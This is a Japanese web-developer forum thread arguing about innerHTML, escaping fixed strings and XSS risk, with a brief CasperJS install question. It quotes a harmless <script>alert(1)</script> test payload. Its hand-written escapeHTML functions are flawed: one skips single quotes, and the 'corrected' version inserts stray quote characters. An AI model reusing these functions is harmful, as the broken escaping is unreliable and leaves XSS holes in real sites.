187 名前:Name_Not_Found mailto:sage [2014/11/10(月) 02:15:10.40 ID:???.net]
>>182
よくわかんないんだけど、HTMLのコーダーでJavaScriptを知らない人っているの?
そもそも、表示を変えたければ、HTMLだろうがJavaScriptだろうが、
何かしらか変更しなきゃいけないんだから、
そんなのはプロジェクトのコーディング基準で決めればいいだけの話しで、
勝手に好みでコーダーがいじったら大問題だとおもうが。

188 名前:Name_Not_Found mailto:sage [2014/11/10(月) 03:22:24.65 ID:???.net]
innerHTMLってevalのDOM版のようなものだよなw
evalをどのような場面で使うかというのと似たようなものw

189 名前:Name_Not_Found mailto:sage [2014/11/10(月) 04:05:51.10 ID:???.net]
>>185
コーダーって、HTML,CSSだけでしょ?
JavaScriptはプログラマーだよ

JSのクラスは、一般的な静的に派生させるクラスではなく、
動的なプロトタイプ型のクラス

こんなややこしいものを、
簡単にプログラミングできないでしょ?

変数に、var を付けずに、また、"use strict"も付けずに、
プログラムしている人も多いんじゃないの?

190 名前:Name_Not_Found mailto:sage [2014/11/10(月) 08:37:20.32 ID:???.net]
>>187
JavaScriptプログラマならブロトタイプを理解できて当然
ただし、table操作にブロトタイプを理解する必要はない
Strict Modeも全く関係ない



191 名前:Name_Not_Found mailto:sage [2014/11/10(月) 10:52:16.36 ID:???.net]
最新のjQueryのソース見たけど、初期化の時点でinnerHTMLが5回使われてるね
どのAPIを使うかなんて関係なく、innerHTMLを否応なく使わされているわけだ

192 名前:Name_Not_Found mailto:sage [2014/11/10(月) 11:45:59.51 ID:???.net]
jQueryが使われてれば安全なの?

193 名前:189 mailto:sage [2014/11/10(月) 11:49:17.09 ID:???.net]
いや、innerHTMLを毛嫌いしている人がいるみたいだから教えてあげただけだ

194 名前:Name_Not_Found mailto:sage [2014/11/10(月) 11:50:26.54 ID:???.net]
ここでの話とjQueryで使われているのは何か関係あるの?

195 名前:189 mailto:sage [2014/11/10(月) 11:52:09.54 ID:???.net]
>>135で誤ったことを言っているから正しいことを言っただけだ
自分に関係ないのなら俺のレスは無視していい

196 名前:Name_Not_Found mailto:sage [2014/11/10(月) 11:53:27.70 ID:???.net]
まさかjquery使っていてinnnerHTML否定してる奴はいないよな?

197 名前:Name_Not_Found mailto:sage [2014/11/10(月) 12:07:08.59 ID:???.net]
jQueryが使ってるからinnerHTMLを使っていいという理屈はからは何の知見も生まれないことに気付こうな

198 名前:189 mailto:sage [2014/11/10(月) 12:17:00.14 ID:???.net]
>>195
俺はそんなこと言ってないってw
innerHTMLが嫌いな人でjQueryを使っている人がいた(>>135)から教えただけ
もし他にもそういう人がいたら、jQueryを使うのをやめるか、あるいは自分で書き換えるといいと思う

199 名前:Name_Not_Found mailto:sage [2014/11/10(月) 12:58:41.45 ID:???.net]
innerHTML使わない(キリッ

でもjqueryは使ってる←低脳w

200 名前:Name_Not_Found mailto:sage [2014/11/10(月) 13:34:42.97 ID:???.net]
その個人攻撃には何の生産性も感じられないからいい加減に自重しろ



201 名前:Name_Not_Found mailto:sage [2014/11/10(月) 13:38:28.77 ID:???.net]
jQuery使ってるのにinnerHTML否定した馬鹿が顔真っ赤になって必死だな

202 名前:Name_Not_Found mailto:sage [2014/11/10(月) 13:59:44.35 ID:???.net]
率直にいってjQueryには好ましくない実装が結構あるからねえ
innerHTMLに限らず、使う必要性はあまり感じないね
便利なプラグインがあって自分で作る手間を省きたい時に使うぐらいかな
大抵自分で作ろうとするし、jQueryがなくても困らないだろうね

「どうせおまえもjQueryがなかったら困るんだろ?」はただの思考停止の信者発言だし、問題の本質から論点をずらして逃げてるだけ
まともな議論にもなりそうにないね

203 名前:Name_Not_Found mailto:sage [2014/11/10(月) 15:11:10.74 ID:???.net]
jQueryが2つ以上のファイル構成なら多くの人が使ってなかっただろう

204 名前:Name_Not_Found mailto:sage [2014/11/10(月) 15:59:32.97 ID:???.net]
スタンスの問題では?
コード記述の便利さを取るか、コード実行の最適化を図るか

205 名前:Name_Not_Found mailto:sage [2014/11/10(月) 20:13:53.72 ID:???.net]
innerHTMLを毛嫌いするのに正当な理由がないから
jQueryで使っていても何の問題もないんだが。

明日太陽が昇らないかもって
心配しているようなもん。

206 名前:Name_Not_Found mailto:sage [2014/11/10(月) 20:15:19.99 ID:???.net]
うーん? innerHTMLを根拠なく否定しているやつが
馬鹿というのが大前提なんだが、それわかってる?
そこから説明しないといかんの?

innerHTMLを否定する理由はないという
コンセンサスは得られているかな?

207 名前:Name_Not_Found mailto:sage [2014/11/10(月) 20:22:30.14 ID:???.net]
>>202
それ言うならスタイルだろ…

208 名前:Name_Not_Found mailto:sage [2014/11/10(月) 20:37:11.00 ID:???.net]
>>205
スタンスで間違ってないと思うけど、衝突の原因はそこじゃないんだよね
相手を打ち負かす目的で発言している人とは論理的に議論できる気がしないよ

209 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:03:59.13 ID:???.net]
うちの上司は、すぐに、エビデンス!とかフィージビリティ!とか逆に!とか言う。
と思っていたら、気が付いたら自分も言うようになってた。

210 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:19:24.57 ID:???.net]
>>207
「逆に!」だけ別次元の何かを感じさせるな



211 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:20:47.50 ID:???.net]
根拠はもう出てるだろ

212 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:21:38.97 ID:???.net]
innerHTMLはDOMを壊す恐れがあるから使うなっ!

213 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:25:37.65 ID:???.net]
innerHTMLを使ったらダメという根拠は、
代入するHTMLに<script>タグが含まれていたらXSSが起きるから

逆に言えば、innerHTMLに<script>タグが含まれることがないと
保証されているなら使っていい。

ここまでは同意とれてるよね?

214 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:29:17.83 ID:???.net]
innerHTMLはevalと一緒。
だからevalは使ってはならない。

Googleのスタイルガイドでも
evalは絶対に使ってはならないと書いてある

215 名前:




↓うっそぴょーんw

http://cou929.nu/data/google_javascript_style_guide/#eval
> デシリアライズ (deserialization) するときのみ使用可. (例えば RPC レスポンスを評価するときなど)
[]
[ここ壊れてます]

216 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:31:47.24 ID:???.net]
ユーザーが入力した値をinnerHTMLで
代入するときは気をつけないといけないが、
プログラマが書いた文字列を代入するだけなら
安全だから問題ないんだよ。
最低限これぐらいは理解してから会話に参加してくれ。

217 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:45:44.89 ID:???.net]
人的ミスがないとは言い切れない

218 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:46:51.14 ID:???.net]
そうなるとサーバサイドで文字列を無害化しなくていいって言ってるるようなもんだね

echo htmlspecialchars($s, ENT_QUOTES, 'utf-8');はしなくていい
ehoc $s;でいいみたいなことをいってるんだね

219 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:49:06.75 ID:???.net]
>>211
他にも問題があるけどいくらいっても理解されないようだからもういい

220 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:53:17.53 ID:???.net]
>>214
人為ミスを起こすという話をすると、
createElement('script')って書いたら、
script実行できちゃうから、
createElementも使ったらダメってことになるけどいいの?



221 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:54:57.38 ID:???.net]
>>101を全く理解してないからXSSだけとか適当な事をいうんだろう

222 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:55:01.01 ID:???.net]
>>215
おいおい、話が全く違うだろう。

その例で言うのなら

echo 'aaa' は危険だから
echo htmlspecialchars('aaa', ENT_QUOTES, 'utf-8'); って書けって言っているようなもんだよ。

違いわかる? ユーザーの入力値がはいった変数じゃないんだ。
プログラマが入れた固定の文字列。

だから安全なんだよ。

223 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:56:19.69 ID:???.net]
>>216
その問題はすべて反論しただろw

224 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:57:31.58 ID:???.net]
echo はミスをするとXSSを起こす。

だからechoを使うな!



え?w

225 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:58:21.95 ID:???.net]
innerHTML はミスをするとXSSを起こす。

だから innerHTML を使うな!



え?w

226 名前:Name_Not_Found mailto:sage [2014/11/10(月) 21:58:59.24 ID:???.net]
>>217
>>214はヒューマンエラーでXSS問題が起きるリスクを回避する話をしているのだと思うが
趣旨を理解しない意見で煙に巻くのがお得意のようだな

227 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:00:17.47 ID:???.net]
>>223
だから、ヒューマンエラーが起きるって話をするならば、
echo は使っちゃダメってことですよね?

228 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:02:49.62 ID:???.net]
script 要素に appendChild() とかやったらどうなる?

229 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:02:54.79 ID:???.net]
いつからバグをヒューマンエラーっていうようになったの?

バグをしたら脆弱性が起きるような命令は使ったらダメというのなら
プログラム書けないだろ。

ファイルを削除するdeleteは、バグがあったら
全ファイル消えるから使っちゃダメとか?w

230 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:03:05.20 ID:???.net]
>>224
echoなど知らん
相変わらず、煙に巻くのが得意だな



231 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:05:03.83 ID:???.net]
>>225
> script 要素に appendChild() とかやったらどうなる?
そりゃ、そういうコードを書く奴が悪いというのは誰もが認めると思うが
ヒューマンエラーで「間違ってappendChild しちゃいました」なんて事が起こりうると思っているのか?

232 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:10:54.50 ID:???.net]
>>226
ヒューマンエラーでバグが発生するという理屈も分からないのか
原因と結果を切り分けて考えることも出来ないのか

233 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:12:24.92 ID:???.net]
>>228
いや、単純にscript要素に子要素ノードとか作れてしまうのか
と思って聞いてみたのだが

> 「間違ってappendChild しちゃいました」
例えば script 要素に id が振られていて、
間違ってその id で getElementById で要素を取得して
appendChild するようなことはあり得るかもしれない

234 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:21:11.44 ID:???.net]
>>219
え?固定された文字列でもサニタイズしないとかありえませんよ?

235 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:26:15.46 ID:???.net]
>>230
> 例えば script 要素に id が振られていて、
> 間違ってその id で getElementById で要素を取得して
> appendChild するようなことはあり得るかもしれない
それは appendChild 以前の問題だ
それを認めるなら「間違って innerHTML しちゃいました」も起こりうるのだから
期待しなかった場所に appendChild されたのならデバッグ時に気がつくはずだし、気が付くべきだ
(気が付かなかったのならデバッグが足りない)

XSSの厄介なところは事象が発生しなければ問題にはならないという事だ
ヒューマンエラーでXSSが発生しているのなら意図的にXSSを発生しようとしなければ発見できないだろう
「間違ってappendChildしちゃいました」とは根本的に違う

236 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:27:53.51 ID:???.net]
> それを認めるなら「間違って innerHTML しちゃいました」も起こりうるのだから
ちなみに「間違って innerHTML しちゃいました」の方が想定されるリスクは大きい
script要素でなくてもXSSが起こりうるからな

237 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:30:48.95 ID:???.net]
ヒューマンエラーはありとあらゆるセキュリティホールの可能性があるから超危険だ
人間はプログラムを書くべきではないな

238 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:36:32.80 ID:???.net]
だったらプログラムを書くコンピュータを作ろう
しかしそのコンピューターのプログラムは誰が書こうか

239 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:50:36.22 ID:???.net]
>>231
あほだろ。

固定の文字列に対してエスケープする意味は無い。

240 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:55:23.85 ID:???.net]
固定の文字列をechoする時にエスケープしなくていいのは
リスクが0だから。

同様に固定の文字列。innerHTML = '<span>abc</span>'とか
XSSになりようがない。つまりリスク0だから何の問題もない。

リスクが0なのに、そのリスクがどうとか言うのは
リスク管理じゃなくて、単なる過保護。



241 名前:Name_Not_Found mailto:sage [2014/11/10(月) 22:57:40.87 ID:???.net]
間違って innerHTML しちゃっても問題は起きない。
なぜなら、appendChildしちゃいましたと同じだから。

appendChildしても、scriptと入れない限り大丈夫なように
inenrHTMLをscriptを入れない限り大丈夫。

この説明で同じだってことがよくわかったと思うがね。

242 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:00:39.74 ID:???.net]
過保護パターンみたいな名前のアンチパターンありそうだなw

例えば、if (a > 0 and a !== 0) みたいに
明らかにやる必要がないのに、念のためとかいって
やる初心者がいるんだよねw

こういうのは、コードがどう動くか
わかってないから。

243 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:05:14.85 ID:???.net]
>>238
appendChild と innerHTML が同じ?

244 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:08:28.44 ID:???.net]
チェックミスが起きるからヒューマンエラーなんだがな
appendChild と innerHTML を同一視するとか、リスクの規模を測る目を持たない人がいう事は違うな

245 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:09:16.38 ID:???.net]
>>240
はい。同じです。

固定値をinnerHTMLに入れている限りXSSは起きません。
逆に、appendChildの値をユーザーーが入力可能だとXSS起きる可能性があります。
echoも同じです。固定値ならばXSSは起きません。


違い、分かりますか? 変数の内容がユーザーが入れられるかどうかです。
エンドユーザーが入れられるなら、XSSは起きる可能性がありますが、
固定値を入れている限りXSSは起きません。

絶対に起きません。

246 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:10:11.01 ID:???.net]
>>241
チェックミスって何のチェックですか?

コードにバグがないかチェックしないんですか?

247 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:11:25.57 ID:???.net]
まさにこれなんだよね。
echoをミスするとXSS起きるから、
echoを使うなっていう馬鹿はいない。

221 名前:Name_Not_Found[sage] 投稿日:2014/11/10(月) 21:57:31.58 ID:???
echo はミスをするとXSSを起こす。

だからechoを使うな!



え?w


222 名前:Name_Not_Found[sage] 投稿日:2014/11/10(月) 21:58:21.95 ID:???
innerHTML はミスをするとXSSを起こす。

だから innerHTML を使うな!



え?w

248 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:13:27.03 ID:???.net]
>>243
バグがあったら脆弱性になるだよ。

あっ! innerHTML使って、しかも間違って
代入するテキストにscriptタグを書いてしまった!


どんだけありえない話だよwwww

innerHTML使うだけじゃ何の問題も起きないからね。
innerHTMLを使ってなおかつ、ありえない条件を満たさない限りXSSは起きない。

249 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:14:32.00 ID:???.net]
プロなら過保護はやめろよw
いつまでも補助輪付けて
競輪に出場してるんじゃねーよw

250 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:14:58.62 ID:???.net]
>>236
お前サーバサイドやったことないだろ



251 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:16:28.18 ID:???.net]
>>247
お前がやったことないだろ。
はい論破w

252 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:18:21.00 ID:???.net]
こういう喩え話思いついたわw


あるプログラマが、echo '<p>ほげほげ</p>'というコードを書いていました。


もう一人の知障プログラマがエスケープしろ!固定値でもエスケープしろ!っと喚いて
すべてのプログラムをこう書き換えました。
echo htmlspecialchars('<p>ほげほげ</p>', ENT_QUOTES, 'utf-8');


大損害を与えたため知障プログラマは会社を首になりましたwww

253 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:19:07.39 ID:???.net]
ところどころ全然的を得てない例を出してる人は流れの邪魔

254 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:20:16.54 ID:???.net]
まずエスケープする所は、ユーザーが入力した文字。
固定値はエスケープしないで出力しても安全。
これがサーバーサイドの常識。

クライアントサイドでも同じで、
innerHTMLに固定値を代入するときは
何の問題も起きない。リスクもない。

255 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:29:15.60 ID:???.net]
全然常識じゃない

256 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:30:55.91 ID:???.net]
お前が意味のないコード書いてるだけ。
意味があることだけやれや
過保護やろう

257 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:32:53.23 ID:???.net]
ママーこわいよ。ヒューマンエラー怖いよー
リスクがー、リスクがー。
バグかいても、動くコード

258 名前:ゥいてー
リスクゼロじゃなきゃだー
[]
[ここ壊れてます]

259 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:34:00.59 ID:???.net]
innerHTMLに代入する文字が
固定の文字列ならリスクゼロだよw

260 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:37:50.05 ID:???.net]
たぶん「固定の文字列」がわからないんだよ



261 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:37:53.79 ID:???.net]
>>255
innerHTMLを選択する理由もゼロになるな

262 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:40:49.79 ID:???.net]
innerHTML君はいい加減、黙ってくれないかな
言いたいことは全ていっただろうに、いつまで続けるというのか

263 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:41:21.39 ID:???.net]
>>257
コードがシンプルになるよ。

innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';

これをinnerHTMLを使わないで書こうとすると
複雑になるからね。つまりコストが掛かってバグを起こすリスク(笑)が高くなる。

>>256
なるほど。固定の文字列がわからないのか。
上の、'<table>〜</table>'のことだよ。
値が変わらないからXSSが起きるリスクがない

264 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:42:38.61 ID:???.net]
>>258
> いつまで続けるというのか
え? それ言っておかないとダメ?

反論する人がいる限り叩き潰しに来るし、
この話題が出るたびに再登場するよ。

ちゃんと、いつまで続けるか言ったので
今度から聞かないでね。

265 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:45:11.98 ID:???.net]
innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';

と書こうとして、ちょっと眠くてうっかりして手が滑って

innerHTML = '<table id="tbl"><tr><td class="first"><script>alert(1)</script>なんとか</td></tr></table>';

って書いてしまったらどうするんだ!


ねーよw

266 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:46:03.69 ID:???.net]
なんとかの部分を可変にしてほしいという変更依頼があったらどうする?

267 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:46:35.70 ID:???.net]
ここまで低次元だという事がないな

268 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:46:47.42 ID:???.net]
>>262
エスケープする。サーバーサイドの常識(笑)だろ

269 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:47:52.76 ID:???.net]
エスケープするの忘れるかもしれないから
echo禁止。ユーザーが入力したものを表示するの禁止。

270 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:48:33.81 ID:???.net]
変更依頼があって、そこからやるのか…



271 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:49:44.45 ID:???.net]
>>263
それだけ過保護が多いんだろ。
うちの会社は馬鹿ばかりだから規則を守れ。
理由は考えるなお前らはただ規則を何も考えずに守ってればいいんだ。

272 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:50:40.06 ID:???.net]
>>266
何か問題?

低次元の人は何考えてるのかわからんので、
ちゃんと書こうね。

273 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:50:41.67 ID:???.net]
>>215あたりがこいつの考えの根底にあるものか
テキスト操作に拘り過ぎてDOMの概念がないんだな

274 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:51:46.19 ID:???.net]
>>267
理由を理解できないおまえにいわれたくないわ

275 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:52:22.74 ID:???.net]
>>264
ネタだと思ってたらお前は絶対にサーバサイドでコード書かないほうがいいよ

276 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:52:50.00 ID:???.net]
>>268
依頼がなくても最初から全部エスケープしていればいいだろ

innerHTML = escapeHTML('<table id="tbl"><tr><td class="first">なんとか</td></tr></table>');

ドヤッ!

277 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:53:36.23 ID:???.net]
>>270
みんなお前が馬鹿だってわかってるから
もうやめたら?w

>>271
へー。あんたエスケープしないんだ?
ユーザーが入力した文字をエスケープしないんだねw

278 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:55:03.18 ID:???.net]
>>271
まさか、まだサーバーサイドで固定値をエスケープしろとか言ってんの?

echo htmlspecialchars('<table id="tbl"><tr><td class="first">なんとか</td></tr></table>', ENT_QUOTES, 'utf-8');

なるほど、こういうコード書けと。

あんた、バグってますよw

279 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:55:37.97 ID:???.net]
>>273
会話のキャッチボールできないのかな?
まともに相手してもらえなくなりますよ

280 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:57:04.98 ID:???.net]
>>274
逆にいちいち区別するほうが変だろ
常にしておけばいい



281 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:57:21.39 ID:???.net]
>>275
相手しなくていいってw
どうせお前だけだろ? 意味もなくinnerHTML使うなって言ってるのは。

俺はしっかり言った。代入するのが固定の文字列であれば
innerHTMLを使うリスクは0だ。

固定値じゃない(ユーザーが入力する文字)ならばエスケープすればいい。

さあ、反論は?

ボール投げたから、ちゃんと投げ返してね。

282 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:58:00.06 ID:???.net]
>>276
だからバグってるだろw
正しく動いてないだろw

283 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:58:58.39 ID:???.net]
>>278
いや、そのコードかいたの俺じゃないし

284 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:59:13.25 ID:???.net]
バグっていても、リスクが0なら
そっちの方がいいだろう?

285 名前:Name_Not_Found mailto:sage [2014/11/10(月) 23:59:41.73 ID:???.net]
初めてだわ、場合によってサニタイズするって考えの人
LTでも勉強会でも見たことないので是非スライドシェアに投稿してほしいね

286 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:00:38.75 ID:???.net]
>>276
「常にしておく」って誰かから聞いたのをそのまま言ってるだけ?

常にしておくっていうのは、変数を出力する時の話であって
固定の文字列の部分は関係ないよ。

ちゃんと理解してないで、言葉だけ覚えてるから
そういう間違いをするんだよ。

287 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:02:22.99 ID:???.net]
え?

288 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:03:44.47 ID:???.net]
>>281
あー、わかったわ。お前が何を勘違いしているのか。

全部エスケープしろって言われて、
echoで出す文字全てをエスケープしろって思ってるだろ?

echo htmlspecialchars('<table id="tbl"><tr><td class="first">$nantoka</td></tr></table>', ENT_QUOTES, 'utf-8');

みたいに。

あのね、よく聞いてね。
みんなが言ってる「常にエスケープしろっていうのは」

<table id="tbl"><tr><td class="first"> <?php echo htmlspecialchars('$nantoka', ENT_QUOTES, 'utf-8') ?> </td></tr></table>;

変数の部分だけだから。

ここまで次元が低いと、降りるまで時間がかかるわw

289 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:05:44.63 ID:???.net]
>>284のコードを
innerHTMLの話に戻すと

innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';

これはエスケープする必要はない。固定の文字列であり変わることがなくて安全だから。

「なんとかの部分を変えたい」という話であれば、こう。

innerHTML = '<table id="tbl"><tr><td class="first">' + escapeHTML(nantoka) + '</td></tr></table>';

290 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:08:41.72 ID:???.net]
>>284
あんたが一人で騒いでるだけだろう
俺は>>215と書いたのに勝手に脱線してるのはお前なんだよ



291 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:09:08.73 ID:???.net]
今頃、変数の前後の固定の文字列まで含めて
エスケープしているスライドを探してるのかな?w

292 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:10:24.93 ID:???.net]
>>286
別に騒いでるのが俺だけってことでもいいよ。

俺の言ってることが間違っていると言わないなら
全然問題なし。

で、固定の文字列は安全です。

293 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:26:54.56 ID:???.net]
ここらへんで、一旦まとめを書いておきますね。

Q. innerHTMLは絶対に使ったらダメなの?
A. XSSが起きるような使い方をしなければ使って問題はありません。

Q. XSSが起きる場合とはどんな時ですか?
A. ユーザーからの入力された変数をそのまま出力するとXSSになる可能性があります。

Q. XSSが起きないようにするにはどうすればいいですか?
A. エスケープをしましょう。以下は例です。
innerHTML = '<table id="tbl"><tr><td class="first">' + escapeHTML(text) + '</td></tr></table>';

Q. escapeHTMLが使えません。
A. 残念ながら標準では用意されていないのでライブラリを使うか自分で実装する必要があります。


function escapeHTML(str) {
return str.replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
}
lodash.js https://lodash.com/docs#escape
Prototype.js api.prototypejs.org/language/String/prototype/escapeHTML/

Q. escapeHTMLと書くのが面倒です。
A. テンプレートライブラリなどを使えば簡単にかけます。

例 lodash
_.template('<b><%- value %></b>', { 'value': '<script>' });
// → '<b>&lt;script&gt;</b>'

Q. createElementやappendChild等のDOM命令を使ったほうがいいのではないですか?
A. 使ってもいいですがコードが冗長になります。
安全な場合(XSSが起きない場合)は冗長にしてまでDOMを使う理由がありません。

294 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:48:54.93 ID:???.net BE:734417802-2BP(6567)]
sssp://img.2ch.sc/ico/nida.gif
casperjsをインストールして試そうとすると以下のエラーがでてうまく動かないです。

【環境】OS:Win7pro 64bit
【何をしたのか】
コマンドプロンプトでcasperjsを試そうとすると以下のエラー?がでます

【エラーメッセージ】

C:\Users\*******>casperjs --version
1.1.0-beta3
Unsafe JavaScript attempt to access frame with URL about:blank from frame with URL file:///C:/jstools/casperjs-1.1-beta3/bin/bootstrap.js. Domains, protocols and ports must match.

【期待する結果】
PhantomJSとCasperJSをうまくインストールしたいです。
エラーの原因がわかる方、いらっしゃいましたら宜しくお願いします。

295 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:52:02.90 ID:???.net]
まとめ書いたら、止まったかw

>>290
Displaying message "Unsafe JavaScript attempt to access frame with URL about:blank ...". #1068
https://github.com/n1k0/casperjs/issues/1068

これじゃね?

296 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:53:01.76 ID:???.net]
あ、こっちか?

Unsafe JavaScript attempt to access frame in 1.9.8
https://github.com/ariya/phantomjs/issues/12697

297 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:53:57.57 ID:???.net]
早くこの辺の話終わんねえかな…

298 名前:Name_Not_Found mailto:sage [2014/11/11(火) 00:55:04.54 ID:???.net]
>>293
終わったよ。まとめ書いたから止まった。

もう次の話に入ったよ。

299 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:00:10.46 ID:???.net]
次からID出すといいかもね
ID出しておくと便利で、うざいやつからの反論が無くなるらしいよ

300 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:02:37.92 ID:???.net]
>>295
昨日だったか一昨日だったかは出したんだけどね。
今回は反論を叩きのめそうと思ったので
あえて隠した。どっちにするかは気分次第。



301 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:07:35.11 ID:???.net BE:734417802-2BP(6567)]
sssp://img.2ch.sc/ico/nida.gif
>>291
ありがとう
なんとなく?読んでみたけど今のところ解決策がない感じ・・・かなぁ

302 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:08:11.93 ID:???.net]
ほんとぱたっとやんだなw
やっぱりinnerHTMLを否定していたのは一人だったか。
俺も寝るから、またあしたな。

>>297
どうやらバグみたいだから
一つ前のバージョンに戻すとかしてみればいいんじゃない?

303 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:14:20.91 ID:???.net]
一人で頑張るならID出したほうがいいぞ
自演を疑われるぐらいなら初めからID出したほうが信用される
後は各自で判断するだろうさ

304 名前:Name_Not_Found mailto:age [2014/11/11(火) 01:17:19.19 ID:???.net]
ようやく向こうのスレが収束したわけだが

> function escapeHTML(str) {
> return str.replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
> }
これは酷いな
XSSが発生するコードを披露するとは

305 名前:Name_Not_Found mailto:age [2014/11/11(火) 01:20:47.18 ID:???.net]
>>300
もしかしてシングルクォートの話してる?

d.hatena.ne.jp/ockeghem/20070510/1178813849

> 私が、シングルクォート「'」もエスケープ対象に加えているのは、
> 属性値をシングルクォートで囲むケースが少なからず見受けられるからで、
> かならずダブルクォート「"」で囲むように徹底されていれば、このガイドラインは必要ありません。

まあ、あったほうがいいよね。

306 名前:Name_Not_Found mailto:age [2014/11/11(火) 01:24:01.42 ID:???.net]
Underscpreはこうらしいね。 これだけやっておけば大丈夫みたい。

stackoverflow.com/questions/6020714/escape-html-using-jquery
There's also _.escape in Underscore, that does it like this:

// List of HTML entities for escaping.
var htmlEscapes = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#x27;',
'/': '&#x2F;'
};

// Regex containing the keys listed immediately above.
var htmlEscaper = /[&<>"'\/]/g;

// Escape a string for HTML interpolation.
_.escape = function(string) {
return ('' + string).replace(htmlEscaper, function(match) {
return htmlEscapes[match];
});
};

307 名前:Name_Not_Found mailto:age [2014/11/11(火) 01:29:47.87 ID:???.net]
訂正版はこれでいいのかな。

function escapeHTML(str) {
return str.replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/'/g, "'&#x27;").replace(/\//g, "'&#x2F;");
}

308 名前:Name_Not_Found mailto:sage [2014/11/11(火) 01:31:55.47 ID:???.net]
>>300
あえてこちらには書き込まなかったのになぜこっちにコピペするんだよ

>>302
明らかに足りない
「ライブラリで使っているから大丈夫」という信者判断はいい加減に卒業しろ
しかも、「大丈夫みたい」とは何も理解してないだろ

